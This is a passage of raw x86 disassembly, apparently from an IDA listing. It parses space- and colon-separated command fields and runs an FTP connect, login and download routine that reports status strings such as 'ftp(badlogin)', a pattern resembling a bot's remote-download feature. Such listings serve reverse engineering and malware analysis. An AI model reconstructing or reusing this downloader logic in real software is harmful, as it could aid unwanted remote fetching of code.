mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C710 proc near ; CODE XREF: sub_401064j
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41C710
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_40142E
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_40142E
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_40142E
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_40142E
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_40142E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401B4A
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
lea ecx, [ebp+4]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_41C93C
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C74 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41C8CC
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41C8CE
; ---------------------------------------------------------------------------
loc_41C8CC: ; CODE XREF: sub_41C710+1AFj
xor edi, edi
loc_41C8CE: ; CODE XREF: sub_41C710+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013DE
loc_41C93C: ; CODE XREF: sub_41C710+C0j
lea ecx, [ebp+60h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CABB
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C74 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41CA4B
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CA4D
; ---------------------------------------------------------------------------
loc_41CA4B: ; CODE XREF: sub_41C710+32Ej
xor edi, edi
loc_41CA4D: ; CODE XREF: sub_41C710+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FDC
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013DE
loc_41CABB: ; CODE XREF: sub_41C710+23Fj
lea ecx, [ebp+32h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CCF6
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C74 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_4016B8
push offset word_44956A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401B86
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41CC5E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D312
; ---------------------------------------------------------------------------
loc_41CC5E: ; CODE XREF: sub_41C710+4D6j
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41CC86
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CC88
; ---------------------------------------------------------------------------
loc_41CC86: ; CODE XREF: sub_41C710+569j
xor edi, edi
loc_41CC88: ; CODE XREF: sub_41C710+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401FDC
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401FDC
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41CCF6: ; CODE XREF: sub_41C710+3BEj
lea ecx, [ebp+0BCh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CE9B
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41CE0E
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CE10
; ---------------------------------------------------------------------------
loc_41CE0E: ; CODE XREF: sub_41C710+6F1j
xor edi, edi
loc_41CE10: ; CODE XREF: sub_41C710+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FDC
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FDC
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41CE9B: ; CODE XREF: sub_41C710+5FCj
lea ecx, [ebp+118h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D040
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41CFB3
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CFB5
; ---------------------------------------------------------------------------
loc_41CFB3: ; CODE XREF: sub_41C710+896j
xor edi, edi
loc_41CFB5: ; CODE XREF: sub_41C710+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FDC
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FDC
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41D040: ; CODE XREF: sub_41C710+7A1j
lea ecx, [ebp+0EAh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D2A1
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_4016B8
push offset word_44956A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401B86
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41D1EC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D312
; ---------------------------------------------------------------------------
loc_41D1EC: ; CODE XREF: sub_41C710+A64j
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41D214
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41D216
; ---------------------------------------------------------------------------
loc_41D214: ; CODE XREF: sub_41C710+AF7j
xor edi, edi
loc_41D216: ; CODE XREF: sub_41C710+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401FDC
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_4013DE
loc_41D2A1: ; CODE XREF: sub_41C710+116j
; sub_41C710+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_41D312: ; CODE XREF: sub_41C710+549j
; sub_41C710+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41C710 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_401B4Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D640
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D640 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D6D0 proc near ; CODE XREF: sub_4014BAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D6D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D6D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D770 proc near ; CODE XREF: sub_4021E9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0D0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D770 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41D830: ; CODE XREF: ___:00401168j
; ___:loc_4019F6j
push esi
mov esi, ecx
call sub_4015CD
test byte ptr [esp+8], 1
jz short loc_41D848
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41D848: ; CODE XREF: ___:0041D83Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D860 proc near ; CODE XREF: sub_4015CDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F0D0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D860 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41D930 proc near ; CODE XREF: sub_401C94j
var_48 = dword ptr -48h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_10C = byte ptr 110h
arg_11C = byte ptr 120h
arg_12C = byte ptr 130h
arg_110C = dword ptr 1110h
arg_1110 = byte ptr 1114h
arg_112C = dword ptr 1130h
arg_1134 = dword ptr 1138h
arg_1144 = byte ptr 1148h
arg_1150 = dword ptr 1154h
; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43C3F2
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_448F40
lea edi, [esi+11h]
mov ecx, edi
call sub_4012EE
test eax, eax
jz loc_41E035
lea ebx, [esi+65h]
push offset byte_448F40
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_41E035
lea ecx, [esi+26h]
push offset byte_448F40
call sub_4012EE
test eax, eax
jz loc_41E035
mov al, [esi+91h]
test al, al
jz short loc_41D9D1
push offset byte_448F40
lea ecx, [esi+3Bh]
call sub_4012EE
test eax, eax
jz short loc_41D9C4
push offset byte_448F40
lea ecx, [esi+50h]
call sub_4012EE
test eax, eax
jnz short loc_41D9D1
loc_41D9C4: ; CODE XREF: sub_41D930+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41E03D
; ---------------------------------------------------------------------------
loc_41D9D1: ; CODE XREF: sub_41D930+70j
; sub_41D930+92j
push offset asc_444C74 ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012EE
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz short loc_41DA5E
push offset asc_444C74 ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_4016B8
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jnz short loc_41DA6F
loc_41DA5E: ; CODE XREF: sub_41D930+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41DA6F: ; CODE XREF: sub_41D930+12Cj
push offset asc_444C74 ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_4016B8
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401FDC
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_4017EE
push eax
call near ptr 2800000h
nop
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_4015E1
mov al, [esi+91h]
test al, al
jz loc_41DC04
call sub_401E1F
; ---------------------------------------------------------------------------
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_4017EE
push eax
call sub_401A7D
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_41DB1C
lea ecx, [esi+7Ah]
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
mov [esp+28h+var_18], esi
lea edx, [esp+28h+var_18]
jmp loc_41E014
; ---------------------------------------------------------------------------
loc_41DB1C: ; CODE XREF: sub_41D930+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_4017EE
push eax
lea ecx, [esi+3Bh]
call sub_4017EE
push eax
call sub_402266
add esp, 0Ch
test eax, eax
jnz short loc_41DB73
lea ecx, [esi+7Ah]
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41E015
; ---------------------------------------------------------------------------
loc_41DB73: ; CODE XREF: sub_41D930+20Dj
lea edi, [esi+7Ah]
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
mov eax, [esp+28h+var_14]
lea ecx, [esi+26h]
push eax
